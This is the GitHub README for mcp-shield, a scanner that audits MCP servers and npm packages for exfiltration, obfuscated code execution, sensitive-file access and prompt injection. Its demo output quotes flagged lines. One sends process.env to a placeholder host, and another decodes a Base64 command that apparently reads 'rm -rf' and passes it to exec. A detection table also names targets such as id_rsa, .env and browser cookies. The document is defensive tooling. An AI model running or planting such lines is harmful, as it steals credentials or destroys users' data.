muhannad-hash/mcp-shield
GitHub: muhannad-hash/mcp-shield
针对 MCP 服务器的安全扫描工具,检测后门、数据外泄与提示注入等威胁。
Stars: 0 | Forks: 0
# mcp-shield
MCP 生态系统发展迅速。并非 npm 上的每个服务器都安全。`mcp-shield` 可以在你信任 MCP 服务器访问你的文件、密钥和上下文之前,让 Claude 对其进行审计,无论它是本地服务器还是来自 npm。
## 检测内容
| 类别 | 示例 |
|------|------|
| **数据外泄** | `process.env` 通过网络发送、SSH 密钥访问、AWS 凭据读取 |
| **代码执行** | `eval()`、`new Function()`、`child_process.exec()`、动态 `require()` |
| **混淆** | 运行时 Base64 解码、十六进制编码负载、字符编码数组 |
| **敏感文件访问** | `.env`、`id_rsa`、浏览器 Cookie、`~/.gitconfig` |
| **提示注入** | 隐藏指令、零宽字符、角色切换攻击、越狱模式 |
| **供应链** | 包的年龄、下载次数、维护者数量、依赖项中的 CVE |
## 演示
```
You: Scan the npm package "some-sketchy-mcp-server" before I install it
Claude (using scan_package):
## mcp-shield scan: some-sketchy-mcp-server
Verdict: DANGEROUS | Findings: 2 critical, 1 high
### Code Findings
#### index.js
- [CRITICAL] [EXF004] process.env sent over network — possible credential exfiltration (line 47)
fetch("https://collect.example.com/data", { body: JSON.stringify(process.env) })
- [CRITICAL] [OBF001] Base64 decode at runtime — decoded content not inspectable (line 12)
const cmd = Buffer.from("cm0gLXJm...", "base64").toString()
- [HIGH] [EXEC004] child_process exec/spawn — shell command execution (line 13)
exec(cmd)
### Supply Chain
| Published | 2 days ago |
| Downloads/wk | 3 |
| Trust Score | 15/100 — RISKY |
Flags:
- Package published less than 7 days ago
- Very low weekly downloads (<100)
```
## 工具
| 工具 | 功能 |
|------|------|
| `scan_package` | 下载一个 npm MCP 包并扫描其恶意模式 |
| `scan_directory` | 扫描本地 MCP 服务器目录(可从 GitHub 克隆等) |
| `check_prompt_injection` | 检查工具描述或响应中的隐藏注入 |
| `audit_supply_chain` | 获取信任评分、CVE、维护者数量和包年龄 |
## 安装
### 选项 1 — npx(无需安装)
```
claude mcp add mcp-shield -- npx mcp-shield
```
### 选项 2 — 全局安装
```
npm install -g mcp-shield
claude mcp add mcp-shield -- mcp-shield
```
### 选项 3 — 手动配置
添加到 `~/.claude/claude_mcp_config.json`:
```
{
"mcpServers": {
"mcp-shield": {
"command": "npx",
"args": ["mcp-shield"]
}
}
}
```
## 使用示例
```
"Scan the npm package 'xyz-mcp-server' before I install it"
"Scan the MCP server I cloned at ~/projects/some-mcp"
"Check this tool description for prompt injection: "
"What's the trust score for 'popular-mcp-tool' on npm?"
"Audit all the MCP servers I have installed"
```
## 工作原理
**静态分析** — 使用正则表达式库扫描 JavaScript/TypeScript 源代码,覆盖 5 大类别中的 20 多种攻击签名。
**供应链审计** — 查询 npm 注册表获取包元数据,然后运行 `npm audit` 以暴露依赖树中的已知 CVE。
**提示注入检测** — 检查工具描述和响应中的零宽字符、指令覆盖、角色切换攻击及其他针对 LLM 的技术。
**`--ignore-scripts` 安装** — 扫描 npm 包时,使用 `--ignore-scripts` 安装,防止在分析过程中运行恶意的 postinstall 钩子。
## 许可证
MIT
标签:Agent 安全, AWS 凭证读取, Base64 解码检测, CVE 检测, .env 文件访问, GraphQL安全矩阵, LLM 安全, MCP 安全, MCP 审计, MCP 防护, MITM代理, npm 包安全, SSH 密钥访问, Trust Score, 下载量分析, 凭证防护, 动态代码执行, 包年龄分析, 反后门, 反注入, 子进程注入, 安全扫描器, 开发安全, 提示注入防御, 敏感信息泄露检测, 数据可视化, 暗色界面, 浏览器 Cookie 窃取, 源代码安全, 环境变量泄露, 私钥读取, 维护者数量评估, 自动化攻击, 角色切换攻击, 零宽字符检测, 零日漏洞检测